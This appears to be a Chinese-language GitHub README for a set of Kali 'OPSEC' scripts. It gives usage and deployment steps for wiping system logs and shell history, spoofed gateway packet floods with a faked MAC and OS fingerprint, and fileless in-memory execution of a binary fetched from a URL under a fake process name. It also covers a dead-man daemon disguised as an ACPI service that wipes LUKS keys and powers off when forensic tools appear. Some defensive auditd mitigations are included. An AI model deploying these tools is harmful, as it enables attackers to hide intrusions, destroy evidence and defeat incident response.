TheRealBastioul/OPSEC-Scripts

GitHub: TheRealBastioul/OPSEC-Scripts

面向授权渗透测试环境的操作安全脚本集合,提供痕迹清理、流量混淆、无文件执行研究和反取证防护等功能。

Stars: 0 | Forks: 0

# OPSEC 脚本 用于 Kali Linux 渗透测试环境的操作安全 (OPSEC) 脚本集合。 ## 法律免责声明 ## 脚本 | 脚本 | 描述 | |--------|-------------| | [GhostWipe](#ghostwipe) | 针对 Host > VM (Tor) 架构的 Kali 宿主机,提供全面的隐私清理和设备 ID 随机化 | | [Chaffer](#chaffer) | 网络流量诱饵注入器 —— 以可配置的强度向网关泛洪随机伪造的数据包,以掩盖物理接口上的真实流量模式 | | [AmnesiaSPLOIT](#amnesiasloit) | 用于演示无文件内存中二进制执行 (`memfd_create`)、进程名伪装 (`prctl`) 和 auditd 可见性审计的研究框架 —— 记录了攻击者用于规避端点检测的技术 | | [TripWipe](#tripwipe) | 反取证亡灵 daemon —— 监控取证采集工具和异常的出站数据量;触发时从内核内存中擦除 dm-crypt/LUKS 密钥并强制立即硬件关机 | ## GhostWipe **平台:** Kali Linux (XFCE) **架构:** Host > VM (Tor) **运行方式:** `sudo ghost` 用于持久化 Kali 安装的会话后清理。对于大多数操作,从 Tails 或 Kali Live USB 启动是更强的 OPSEC 选择 —— 默认具备无痕迹特性,无需清理纪律。GhostWipe 适用于无法使用 Live OS 的特定情况。 ### 功能说明 | 步骤 | 清除内容 | |------|-------------------| | 1. 关闭窗口 | 关闭所有打开的 GUI 应用程序(文件管理器、编辑器、图像查看器),但您当前的终端除外 | | 2. 终止进程 | 强制终止浏览器和渗透测试工具:Metasploit、Burp、Wireshark、sqlmap、Nmap、Hashcat、Hydra、BloodHound、Responder 等 | | 3. 浏览器数据 | 擦除所有 Firefox 和 Chromium 配置文件的历史记录、cookie、缓存、会话、IndexedDB 和本地存储 | | 4. 渗透测试工具日志 | 清除 Nmap、Metasploit、Burp、sqlmap、Wireshark、Aircrack、John、Hashcat、Hydra、Nikto、Gobuster、Responder、CME、BloodHound 的日志 | | 5. Shell 历史记录 | 截断 bash、zsh、sh 和 fish 的历史记录;移除 Python、Node、MySQL、psql、SQLite、wget 和 curl 的历史记录 | | 6. 系统日志 | 清理 journald,清除 syslog、auth.log、kern.log、apt 日志、wtmp、btmp、faillog、Xorg 日志;移除轮转归档 | | 7. apt 缓存 | 运行 `apt-get clean` 和 `autoclean` | | 8. 应用程序痕迹 | 清除最近文件列表、GTK 书签、缩略图缓存、XFCE 缓存、回收站和 SSH known_hosts | | 9. 网络历史记录 | 将 NetworkManager 的连接时间戳清零,使配置文件不暴露上次连接时间 | | 10. 临时文件和 swap | 擦除 `/tmp` 和 `/var/tmp`;关闭并重新开启 swap 以刷新敏感数据 | | 11. OPSEC 检查 | 报告外部 IP、主机名、MAC、DNS 解析器、VPN 接口、hypervisor 状态、浏览器/历史记录残留以及 swap 状态 | | 12. 随机化标识符 | 随机化主机名、每个物理接口的 MAC,并重新生成 `/etc/machine-id` 和 dbus machine-id | ### GhostWipe 与 Live OS —— OPSEC 对比 #### 为什么 Live OS 通常是正确的选择 对于大多数操作,Tails 或 Kali Live USB 是更强的 OPSEC 默认选项。它在设计上是无痕迹的 —— 只需重启,一切都会消失,无需任何操作。您不会忘记清理,也不需要信任任何脚本。 - **默认仅在 RAM 中运行。** 会话期间不会向内部驱动器写入任何内容;关机时会自动进行清理。 - **内核级隔离。** Live OS 对宿主机的持久化存储完全只读 —— 不会有任何痕迹在重启后意外留存。 - **Tails** 在 OS 层面通过 Tor 路由所有流量,并在设计上针对遗忘失效进行了强化。 - **不存在纪律缺口。** 最大的操作故障模式 —— 即忘记运行清理 —— 被完全消除。 GhostWipe 需要您记得运行它、正确运行它,并相信它能清理掉所有内容。而 Live OS 消除了所有这三个要求。如果您能使用 Live OS,您就应该使用它。 #### GhostWipe 何时真正适用 GhostWipe 不是 Live OS 的替代品。它填补了一个特定的空白:在无法使用 Live OS 的持久化安装上进行长期持续的渗透测试任务。 **1. 您拥有不可替代的持久化状态。** 自定义字典、VPN 配置文件、工具配置或进行中的任务数据,无法在每个会话中重建。Live USB 每次启动都会重置为出厂状态 —— 只有在您没有值得保留的内容时,这种权衡才有意义。 **2. 您在 Host > VM (Tor) 设置中操作。** VM 层已经提供了网络隔离 —— 宿主机永远不会接触目标系统。GhostWipe 解决的威胁不同:由管理和启动 VM 留下的宿主机侧取证痕迹。Live USB 在这里无济于事。 **3. Live USB 启动比风险窗口慢。** `sudo ghost` 只需几秒钟。启动 Live OS 需要几分钟 —— 在时间压力下,“停止工作”到“机器关闭”之间的间隔是一个真实的取证采集窗口。 **4. 您需要在多日的任务中保持连续性。** Live OS 会强制每个会话进行完全重新配置。如果您正在进行一项长期任务,并积累了笔记、配置和会话状态,GhostWipe 可以清除痕迹而不破坏环境。 #### 总结 | 关注点 | Tails / Kali Live USB | GhostWipe (持久化) | |---------|----------|------------------------| | 默认无痕迹 —— 无需任何操作 | 是 | 否 —— 必须手动运行 | | 防止忘记清理 | 是 | 否 —— 需要清理纪律 | | 会话间保留工具集和状态 | 否 | 是 | | 清除 swap | 仅在手动禁用时 | 是 —— 每次运行都会显式循环 | | 每个会话随机化 MAC | 否 | 是 | | 每个会话更改 Machine-ID | 否 | 是 | | 适用于 Host > VM (Tor) 架构 | 别扭 | 原生支持 | | 硬件日志 (NIC 固件、SMART、BIOS) | 未清除 | 未清除 | ## Chaffer **平台:** Linux (任意) **运行方式:** `sudo ./Chaffer --on [low|medium|high]` 使用 hping3 向您的网关注入随机伪造的 UDP/TCP 数据包。伪装 MAC 地址和 OS 指纹 (TTL=128,TCP 栈参数),以混入 Windows 客户端流量中。添加 tc/netem 抖动。具有三种强度级别。自动适应接口变化。 ### 强度级别 | 级别 | 间隔 | 抖动 | 最大数据包大小 | |-------|----------|--------|-----------------| | low | 100ms | 最高 150ms | 400 字节 | | medium *(默认)* | 40ms | 最高 80ms | 900 字节 | | high | 10ms | 最高 30ms | 1400 字节 | ### 功能说明 | 特性 | 详情 | |---------|--------| | 诱饵注入 | 40% UDP / 40% TCP ACK / 20% TCP SYN 混合 —— 避免触发 IDS 的纯 SYN 泛洪;所有数据包使用随机端口和大小 | | TTL 匹配数据包 | hping3 使用 `--ttl 128` 发送,以匹配伪装的内核 TTL;数据包在线缆层面与 Windows 宿主机流量无法区分 | | OS 指纹伪装 | 设置 `ip_default_ttl=128` 和标准 TCP 选项 (窗口缩放、时间戳、SACK),以在 IP 栈层面模拟 Windows 消费级 OS | | MAC 地址伪装 | 在 `--on` 时将 NIC MAC 随机化为 Intel OUI 前缀 (`00:11:22`);保存原始 MAC 并在 `--off` 时完全恢复 | | tc/netem 抖动 | 在物理接口上应用 8ms ± 15ms 的延迟分布,将真实流量混入噪声中 | | 感知 VPN | 自动检测任何 tun/tap/wg/ppp 隧道下方的物理接口并将其作为目标 | | 接口监控 | 后台 watchdog 检测接口变化(如 WiFi 漫游),在新接口上交换 MAC,并自动重新启动诱饵注入 | | 干净拆除 | `--off` 终止所有 hping3 进程,移除 tc qdisc 规则,恢复 RPF 过滤,恢复 MAC,并将 TCP/IP 栈重置为 Linux 默认值 | ### 使用方法 ``` sudo ./Chaffer --on # start at medium intensity sudo ./Chaffer --on high # start at high intensity sudo ./Chaffer --off # stop and clean up sudo ./Chaffer --status # show state + last 5 log lines ``` ### 依赖项 ``` sudo apt install hping3 iproute2 ``` 日志写入 `/var/log/chaff.log`。 ## AmnesiaSPLOIT **平台:** Linux (Python 3.8+) **运行方式:** `sudo python3 main.py --url --name ` **目的:** 安全研究 —— 记录攻击者使用的无文件执行和检测规避技术 演示了攻击者在不触碰磁盘的情况下运行二进制文件的完整链路:通过 HTTPS 获取、在内存中解密、通过 `memfd_create` 执行、伪装成系统 daemon,并审查 `auditd` 是否捕获了这些操作。 ### 演示的技术 | 技术 | 机制 | 防御者应关注的内容 | |-----------|-----------|-------------------------------| | 无文件执行 | `memfd_create` 分配匿名 RAM;将二进制文件写入其中并通过 `/proc/self/fd/` 执行 | 针对 `memfd_create` syscall 和带有 `/proc/self/fd/` 路径的 `execve` 设置 `auditd` 规则 | | 进程伪装 | `prctl(PR_SET_NAME)` 将进程重命名为任意名称(例如 `udevd`、`systemd-service`) | 监控 exec 之后的 `prctl` 调用;将进程名与已知的二进制路径进行交叉比对 | | 二次 fork 守护进程化 | 两次 `fork()` 调用将孙进程孤立给 init,切断 TTY 和父进程的链接 | 追踪出现时没有对应会话领导者的孤立进程 | | 加密 payload 传输 | AES-256-CBC 直接在内存中解密 —— 磁盘上不留任何内容 | 网络层检查;在代理层进行 TLS 解密 | | auditd 可见性审计 | 扫描本地审计日志以查找上述操作的证据,并报告“可见性得分” | 保护审计日志的完整性;立即将日志发送到离开当前主机的位置 | ### 可见性审计输出 执行后,该框架会检查 `/var/log/audit/audit.log` 以寻找其自身操作的痕迹,并报告安全态势得分: | 态势 | 含义 | |---------|---------| | `BLIND` | auditd 未发现 memfd\_create、proc/fd exec 或 prctl 重命名的痕迹 | | `DEGRADED` | auditd 捕获了部分但并非全部指标 | | `EXCELLENT` | 完全可见 —— 所有三项指标均被记录 | 结果为 `BLIND` 意味着目标系统的日志记录不足以检测此类攻击。 ### 使用方法 ``` # 明文 payload,进程伪装为 udevd,markdown 报告 sudo python3 main.py --url "https://example.com/binary" --name "udevd" --format markdown # 使用 AES-256-CBC key 和 IV 加密的 payload,JSON 报告 sudo python3 main.py \ --url "https://example.com/binary.enc" \ --name "systemd-service" \ --key "603deb10..." \ --iv "00010203..." \ --format json ``` ### 依赖项 ``` pip install cryptography # only required for encrypted payload support ``` ### 防御缓解措施 - 启用 `auditd` 规则:`-a always,exit -F arch=b64 -S memfd_create` 和 `-a always,exit -F arch=b64 -S execve -F exe=/proc/self/fd` - 将审计日志实时发送到场外 SIEM,这样拥有 root 权限的攻击者就无法篡改它们 - 使用直接挂钩内核的 EDR/eBPF 监控(如 Falco、Tetragon),而不是依赖 `auditd` 日志文件 - 将任何其 `/proc//exe` 解析为 `memfd:` 路径的进程视为立即出现的高严重性指标 ## TripWipe **平台:** Linux(任意,需要 LUKS 加密磁盘才能提供完整保护) **部署为:** `acpid-ext` —— 伪装为 ACPI Power Management Extension Daemon **目的:** 用于 LUKS 加密系统的反取证亡灵 daemon 轻量级的后台防护 daemon,旨在保护数据完整性,防范远程实时取证采集和内存转储工具。它伪装成标准的 ACPI 子进程 (`acpid-power-helper`),以混正常的硬件管理进程树中。 该 daemon 运行双重检测引擎:它在进程树中监控已知的取证工具特征,并评估原始出站吞吐量,寻找与远程分类画像匹配的异常。一旦检测到,它会从内核内存中卸载 LUKS 主密钥,并发出 SysRq 硬件关机指令。 ### 检测引擎 该子系统采用两条独立的触发路径: - **签名分析器** —— 轮询进程树,以查找企业取证、事件响应和实时收集工具的已知 runtime 特征 - **启发式网络监控器** —— 使用原生内核统计信息评估原始出站吞吐量;如果偏离基线的持续大容量外部数据传输,则会触发 ### 触发条件 | 触发器 | 条件 | |---------|-----------| | 进程检测 | 运行进程列表中出现 `velociraptor`、`cylr`、`ftkimager`、`lime`、`dumpit` 或 `uac` 中的任何一个 | | 网络启发式 | 默认接口在 5 秒窗口内传输 >150 MB,并且至少存在一个已建立的外部连接 | ### 触发后的操作 | 步骤 | 操作 | |------|--------| | 1. 同步 | 将脏数据块刷新到磁盘 (`sync`),以便后续的密钥擦除在稳定状态下运行 | | 2. 擦除加密密钥 | 枚举所有 dm-crypt device-mapper 目标,挂起每一个目标,并通过 `dmsetup wipe_table` 擦除内核密钥表 —— 使得没有密码短语便无法读取 LUKS 卷 | | 3. SysRq SIGTERM | `echo e > /proc/sysrq-trigger` —— 向所有进程发送终止信号 | | 4. SysRq SIGKILL | `echo i > /proc/sysrq-trigger` —— 强制杀死所有剩余进程 | | 5. 关机 | `echo o > /proc/sysrq-trigger` —— 立即硬件关机;`echo b` 作为紧急重置备选方案 | ### 配置 | 变量 | 默认值 | 用途 | |----------|---------|---------| | `DATA_THRESHOLD_MB` | `150` | 在网络启发式触发之前,在一个轮询窗口内在默认接口上传输的 MB 数 | | `MONITOR_INTERVAL` | `5` | 轮询间隔(以秒为单位) | ### 部署 **步骤 1 —— 暂存并保护核心二进制文件** 将脚本移动到标准的系统二进制路径中,将其命名为与现有的 ACPI 基础设施融合的形式,并将其锁定为仅限 root 执行: ``` sudo cp TripWipe /usr/sbin/acpid-power-helper sudo chmod 700 /usr/sbin/acpid-power-helper sudo chown root:root /usr/sbin/acpid-power-helper ``` **步骤 2 —— 创建 systemd unit** 创建 `/etc/systemd/system/acpid-ext.service`,其命名旨在自然地与现有的硬件管理单元放在一起: ``` [Unit] Description=ACPI Power Management Extension Daemon After=network.target acpid.service Documentation=man:acpid(8) [Service] Type=simple ExecStart=/usr/sbin/acpid-power-helper Restart=always RestartSec=5 User=root StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target ``` **步骤 3 —— 注册并启动** ``` sudo systemctl daemon-reload sudo systemctl enable acpid-ext.service sudo systemctl start acpid-ext.service ``` ### 验证 确认服务处于活动状态并且循环正常,没有报错: ``` sudo systemctl status acpid-ext.service ``` 验证进程树一致性 —— 在粗略检查时,该 daemon 应该出现在真实的 `acpid` 进程旁边: ``` ps aux | grep acpid ``` 预期输出: ``` root 612 0.0 0.1 8432 4112 ? Ss 08:15 0:00 /usr/sbin/acpid root 1420 0.0 0.2 11564 5240 ? S 08:21 0:00 /bin/bash /usr/sbin/acpid-power-helper ``` ### 维护 在进行任何大文件传输、手动内存捕获或软件更新(可能超过网络阈值)之前,请先解除该 daemon 的武装,以防止意外关机: ``` sudo systemctl stop acpid-ext.service ``` 操作完成后重新武装: ``` sudo systemctl start acpid-ext.service ``` ### 依赖项 ``` sudo apt install cryptsetup iproute2 ``` SysRq 必须可用 (`/proc/sysrq-trigger`)。脚本会在触发时启用它。日志在设计上被丢弃到 `/dev/null` —— 在正常运行期间不会生成任何文件系统痕迹。 ### 重要提示 只有在磁盘经过 LUKS 加密的情况下,加密密钥擦除才能保护数据。在未加密的系统上,仅仅关机并不能阻止对明文文件系统进行取证镜像。 请根据您的环境调整 `DATA_THRESHOLD_MB` 和 `MONITOR_INTERVAL` —— 如果设置得过于敏感,合法的大容量传输(备份、系统更新)将会触发误报关机。
标签:Cutter, DNS 反向解析, DNS 解析, 反取证, 子域名变形, 安全评估, 操作安全, 流量混淆, 逆向工具